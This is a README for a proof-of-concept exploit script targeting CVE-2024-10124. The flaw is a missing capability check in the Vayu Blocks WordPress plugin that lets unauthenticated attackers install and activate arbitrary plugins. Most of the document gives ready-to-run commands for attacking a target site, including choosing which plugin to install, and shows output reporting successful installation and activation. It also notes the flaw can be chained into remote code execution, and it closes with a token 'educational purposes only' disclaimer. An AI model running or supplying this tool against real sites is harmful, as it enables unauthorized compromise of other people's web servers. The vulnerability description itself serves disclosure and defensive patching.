CVE-2024-10124-Poc

The Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation due to a missing capability check on the tp_install() function in all versions up to, and including, 1.1.1. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated. This vulnerability was partially patched in version 1.1.1.

Example Scenarios

Check Vulnerability

python CVE-2024-10124.py -u http://192.168.100.74/wordpress --check-version

This will check the version of the vayu-blocks plugin to determine if the site is vulnerable.

Install a Plugin (Default)

python CVE-2024-10124.py -u http://192.168.100.74/wordpress

This will install the default plugin hello-dolly

Install a Specific Plugin

python CVE-2024-10124.py -u http://192.168.100.74/wordpress -p plugin_name

This will install the plugin_name plugin on the target site.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target URL (e.g., http://192.168.100.74/wordpress)
  -p PLUGIN, --plugin PLUGIN
                        Plugin name (default: hello-dolly)
  --check-version       Check if the site is vulnerable based on plugin version

Output

Response Status Code: 200
The plugin has been successfully uploaded and activated.
Response Content: "http:\/\/192.168.100.74\/wordpress"

Note:

This script is provided for educational purposes only. The author is not responsible for any damages caused by the misuse of this script.